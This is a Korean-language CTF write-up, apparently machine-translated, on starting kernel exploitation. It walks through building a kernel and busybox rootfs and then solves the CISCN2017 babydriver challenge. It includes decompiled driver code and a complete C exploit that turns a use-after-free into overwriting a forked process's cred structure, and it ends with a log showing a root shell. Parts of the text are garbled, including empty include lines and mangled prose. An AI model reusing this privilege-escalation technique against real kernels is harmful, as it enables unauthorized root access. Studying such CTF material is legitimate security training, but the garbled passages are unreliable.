kernel pwn 시작

8459 단어 pwn
kernel 시작
자신의 환경은 16.04이며,kernel에 출입한 기록에 의하면 사내는 뿌리지 마세요.
환경 컴파일
kernel 소스 코드를 다운로드하려면 다음과 같이 하십시오.https://www.kernel.org/
필요한 의존에 따라
sudo apt-get update

sudo apt-get install build-essential libncurses5-dev

kernel 소스 컴파일
make menuconfig #  sakura    
#      
  kernel hacking
      
Kernel debugging
Compile-time checks and compiler options —> Compile the kernel with debug info Compile the kernel with frame pointers
KGDB
(       ,            

이어서
make bzImage

번역하는 시간이 좀 길다
Setup is 17244 bytes (padded to 17408 bytes).
System is 7666 kB
CRC 5c77cbfe
Kernel: arch/x86/boot/bzImage is ready  (#1

이게 나오면 이미 번역에 성공했다는 뜻이야.흰둥이 입갱 강좌이기 때문에, 나는 무엇이 bzimage인지 설명해야 한다고 생각한다
vmlinux에서 컴파일한 가장 원시적인 핵 파일입니다. 압축되지 않았습니다.zImage는 vmlinux가 gzip으로 압축된 파일입니다.bzImage bz는 "big zImage"를 나타냅니다.
이렇게 설명하면 훨씬 분명해질 거야.그러면 우리는 이미 내부 핵 파일을 하나 가지고 있으며, 다음에 파일 시스템을 만들 것이다.
busybox 컴파일
(from sakura   blog
wget https://busybox.net/downloads/busybox-1.27.2.tar.bz2
tar -jxvf busybox-1.27.2.tar.bz2
cd busybox-1.27.2
make menuconfig # Busybox Settings -> Build Options -> Build Busybox as a static binary
make install

폴더 아래에설치 파일
파일 시스템 구축
cd _install
mkdir proc
mkdir sys
touch init
chmod +x init

init 파일 쓰기
#!/bin/sh
mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t debugfs none /sys/kernel/debug
mount -t tmpfs none /tmp
mdev -s # We need this to find /dev/sda later
setsid /bin/cttyhack setuidgid 1000 /bin/sh

파일 시스템 패키지
#!/bin/sh
echo "Generate rootfs.img"
cd busybox # fs folder
find . | cpio -o --format=newc > ../rootfs.img

mount 명령은 특정한 구역을 파일로 마운트합니다. 그러면 구역을 파일과 연결시켜 파일에 접근할 때 구역에 접근할 수 있습니다.
이상 참고: 사쿠라 대장부 블로그 501 대장부 블로그
총결산
이러한 환경 컴파일링은 문제를 풀 때 왜 3개의 파일.sh을 주는지 대충 이해하기 위해서이다bzimage, rootfs.cpio는 각각 시작 스크립트,kernel 렌즈와 파일 시스템 이미지이다.다음은 구체적인kernel문제를 분석하는데 주로 디버깅을 중시한다.
CISCN2017 - babydriver
kernel pwn에 대해서 말하자면 모두 이 문제를 생각할 것이다. 그러면 이 문제를 분석해 보자.제목 파일은 다음과 같습니다.
  • boot.sh:kernel을 시작하는 셸에 사용되는 스크립트입니다.qemu를 많이 사용합니다. 보호 조치는qemu의 다른 시작 파라미터와 관련이 있습니다
  • bzImage: kernel binary
  • rootfs.cpio: 파일 시스템 이미지
  • 위에서 보기에는 아무런 문제가 없다. 일반적인 문제는rootfs에 있다.cpio의 드라이브에서 이 문제도 예외가 아닙니다. 우선 파일 시스템 이미지를 해제합니다.
    mkdir          fs  
    mv ../rootfs.cpio ./
    cpio -idmv < rootfs.cpio
    

    이렇게 하면 패키지를 해제할 수 있습니다. init 파일을 보면 드라이버를 불러올 수 있기 때문에 드라이버가 가장 문제가 되는 부분입니다.
    cat init
    #!/bin/sh
     
    mount -t proc none /proc
    mount -t sysfs none /sys
    mount -t devtmpfs devtmpfs /dev
    chown root:root flag
    chmod 400 flag
    exec 0/dev/console
    exec 2>/dev/console
    
    insmod /lib/modules/4.4.72/babydriver.ko#                   。
    chmod 777 /dev/babydev
    echo -e "
    Boot took $(cut -d' ' -f1 /proc/uptime) seconds
    " setsid cttyhack setuidgid 1000 sh umount /proc umount /sys poweroff -d 0 -f

    정적 분석.ko 파일
    파일을 다이아에 끌어다 보십시오.
    int __fastcall babyrelease(inode *inode, file *filp)
    {
      __int64 v2; // rdx
    
      _fentry__(inode, filp);
      kfree(babydev_struct.device_buf);
      printk("device release
    ", filp, v2); return 0; } # free int __fastcall babyopen(inode *inode, file *filp) { __int64 v2; // rdx _fentry__(inode, filp); babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 37748928LL, 64LL); babydev_struct.device_buf_len = 64LL; printk("device open
    ", 37748928LL, v2); return 0; } # , device_bug_len 64. __int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg) { size_t v3; // rdx size_t v4; // rbx __int64 v5; // rdx __int64 result; // rax _fentry__(filp, *(_QWORD *)&command); v4 = v3; if ( command == 0x10001 ) { kfree(babydev_struct.device_buf); babydev_struct.device_buf = (char *)_kmalloc(v4, 0x24000C0LL); babydev_struct.device_buf_len = v4; printk("alloc done
    ", 0x24000C0LL, v5); result = 0LL; } else { printk(&unk_2EB, v3, v3); result = -22LL; } return result; } # 0x10001 babydev_struct.device_buf 。 void __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset) { size_t v4; // rdx _fentry__(filp, buffer); if ( babydev_struct.device_buf ) { if ( babydev_struct.device_buf_len > v4 ) copy_from_user(babydev_struct.device_buf, buffer, v4); } } # buffer 。( , ida 。) void __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset) { size_t v4; // rdx _fentry__(filp, buffer); if ( babydev_struct.device_buf ) { if ( babydev_struct.device_buf_len > v4 ) copy_to_user(buffer, babydev_struct.device_buf, v4); } } # 。

    주요 빈틈은 조건 경쟁으로 인한 UAF 빈틈이다. 왜냐하면 babydevstruct는 전역적인 것입니다. 만약에 우리가 두 개의 장치를 동시에 열고 첫 번째 장치를 놓으면 두 번째 장치는 편집할 때 uaf의 역할을 합니다.
    중점: 신청 블록의 크기는cred구조체와 같아야 합니다. 이렇게 해서 우리가 방출한 후에 fork의 한 프로세스에서cred구조 체험을 이용하여 우리가 방출한
    cred 구조체
    kernel에서 프로세스 권한을 기록하는 데 사용되며, 이 구조체에는 프로세스의 권한 등 정보 (uid,gid) 가 저장되어 있으며, 이 구조체를 수정할 수 있다면 프로세스의 권한을 수정합니다.원본 코드
    struct cred {
    	atomic_t	usage;
    #ifdef CONFIG_DEBUG_CREDENTIALS
    	atomic_t	subscribers;	/* number of processes subscribed */
    	void		*put_addr;
    	unsigned	magic;
    #define CRED_MAGIC	0x43736564
    #define CRED_MAGIC_DEAD	0x44656144
    #endif
    	kuid_t		uid;		/* real UID of the task */
    	kgid_t		gid;		/* real GID of the task */
    	kuid_t		suid;		/* saved UID of the task */
    	kgid_t		sgid;		/* saved GID of the task */
    	kuid_t		euid;		/* effective UID of the task */
    	kgid_t		egid;		/* effective GID of the task */
    	kuid_t		fsuid;		/* UID for VFS ops */
    	kgid_t		fsgid;		/* GID for VFS ops */
    	unsigned	securebits;	/* SUID-less security management */
    	kernel_cap_t	cap_inheritable; /* caps our children can inherit */
    	kernel_cap_t	cap_permitted;	/* caps we're permitted */
    	kernel_cap_t	cap_effective;	/* caps we can actually use */
    	kernel_cap_t	cap_bset;	/* capability bounding set */
    	kernel_cap_t	cap_ambient;	/* Ambient capability set */
    #ifdef CONFIG_KEYS
    	unsigned char	jit_keyring;	/* default keyring to attach requested
    					 * keys to */
    	struct key __rcu *session_keyring; /* keyring inherited over fork */
    	struct key	*process_keyring; /* keyring private to this process */
    	struct key	*thread_keyring; /* keyring private to this thread */
    	struct key	*request_key_auth; /* assumed request_key authority */
    #endif
    #ifdef CONFIG_SECURITY
    	void		*security;	/* subjective LSM security */
    #endif
    	struct user_struct *user;	/* real user ID subscription */
    	struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
    	struct group_info *group_info;	/* supplementary groups for euid/fsgid */
    	struct rcu_head	rcu;		/* RCU deletion hook */
    };
    

    그러면 다음은exp의 컴파일링입니다. 이 제목 자체는 비교적 간단하기 때문에 동적 디버깅을 필요로 하지 않습니다.exp는 정적 컴파일링이 필요합니다.
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    
    int main()
    {
    	//       
    	int fd1 = open("/dev/babydev", 2);
    	int fd2 = open("/dev/babydev", 2);
    
    	//          cred      
    	ioctl(fd1, 0x10001, 0x8a);
    
    	//    fd1
    	close(fd1);
    
    	//  fork                 cred   。
    	int pid = fork();
    	if(pid < 0)
    	{
    		puts("[*] error!");
    		exit(0);
    	}
    
    	else if(pid == 0)
    	{
    		// uaf        
    	   char buf[28] = {0};
    		write(fd2, buf, 28);
    
    		if(getuid() == 0)
    		{
    			puts("[+] good-you-get-it");
    			system("/bin/sh");
    			exit(0);
    		}
    	}
    	
    	else
    	{
    		wait(NULL);
    	}
    	close(fd2);
    
    	return 0;
    }
    

    그리고 정적 컴파일exp를 다시 압축합니다
    cp exp fs/tmp
    find . | cpio -o --format=newc > rootfs.cpio
    #            。
    
    

    마지막으로 루트를 받은 로그.
    / $ cd home/ctf/
    ~ $ ls
    exp    exp.c
    ~ $ ./exp
    [   14.687284] device open
    [   14.691077] device open
    [   14.693858] alloc done
    [   14.697858] device release
    [+] good-you-get-it.
    /home/ctf # whoami
    root
    
    

    이상 참조: M4x 대장부 블로그
    총결산
    전체적으로 간단하게 소개하자면ctf환경 등kernelpwn, 그 중에서bzimage의 획득과 개념, 그리고 파일 이미지의 획득과 사용.다음은 간단한 uaf 연습입니다.사나이

    좋은 웹페이지 즐겨찾기